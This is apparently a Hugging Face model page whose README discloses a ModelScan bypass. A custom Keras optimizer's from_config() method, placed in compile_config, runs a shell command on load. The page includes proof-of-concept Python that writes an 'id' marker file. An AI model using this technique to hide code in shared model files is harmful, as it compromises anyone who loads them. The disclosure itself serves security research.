Downloads · 30 days
19
40% of all-time downloads
xiaoyaoes/modelscan-compile-config-bypass
modelscan-compile-config-bypass is a machine learning model from xiaoyaoes. Use it for the machine learning task on the model card, and read the license before you ship it in a product. It is set up for keras.
ModelScan's Keras scanners only check Lambda layers (classname == "Lambda"). The compileconfig section — containing optimizer, loss, and metrics configurations — is completely ignored.
Downloads · 30 days
19
40% of all-time downloads
All-time downloads
47
Public
Repo size
—
Likes
0
Public
Click a slice to open those files.
.keras16.8 KB · 90%
From the Hugging Face model README
ModelScan's Keras scanners only check Lambda layers (class_name == "Lambda"). The compile_config section — containing optimizer, loss, and metrics configurations — is completely ignored.
This .keras file contains a custom optimizer (MyOpt>BadOptimizer) with a malicious from_config() method. ModelScan reports 0 Issues, 0 Errors, 0 Skipped. When loaded, the optimizer's from_config() executes arbitrary code.
# 1. ModelScan says CLEAN
modelscan -p model.keras
# Output: Issues: 0, Errors: 0, Skipped: 0
# 2. Inspect compile_config — optimizer is custom class
python3 -c "
import zipfile, json
with zipfile.ZipFile('model.keras') as zf:
c = json.load(zf.open('config.json'))
opt = c['compile_config']['optimizer']
print(f'class_name: {opt[\"class_name\"]}')
print(f'registered_name: {opt[\"registered_name\"]}')
"
# 3. Load → from_config → RCE
python3 -c "
import tensorflow as tf, keras, os
@keras.saving.register_keras_serializable(package='MyOpt')
class BadOptimizer(tf.keras.optimizers.Adam):
@classmethod
def from_config(cls, config):
import os; os.system('id > /tmp/COMPILE_CONFIG_RCE')
return super().from_config(config)
model = tf.keras.models.load_model('model.keras', safe_mode=False)
print('RCE file created:', os.path.exists('/tmp/COMPILE_CONFIG_RCE'))
"
ModelScan scans layers but ignores compile_config. Custom optimizer, loss, and metric classes can all carry malicious from_config() payloads that execute during load_model().
.keras (Keras Native).h5 (HDF5)Submitted to ProtectAI via huntr.dev.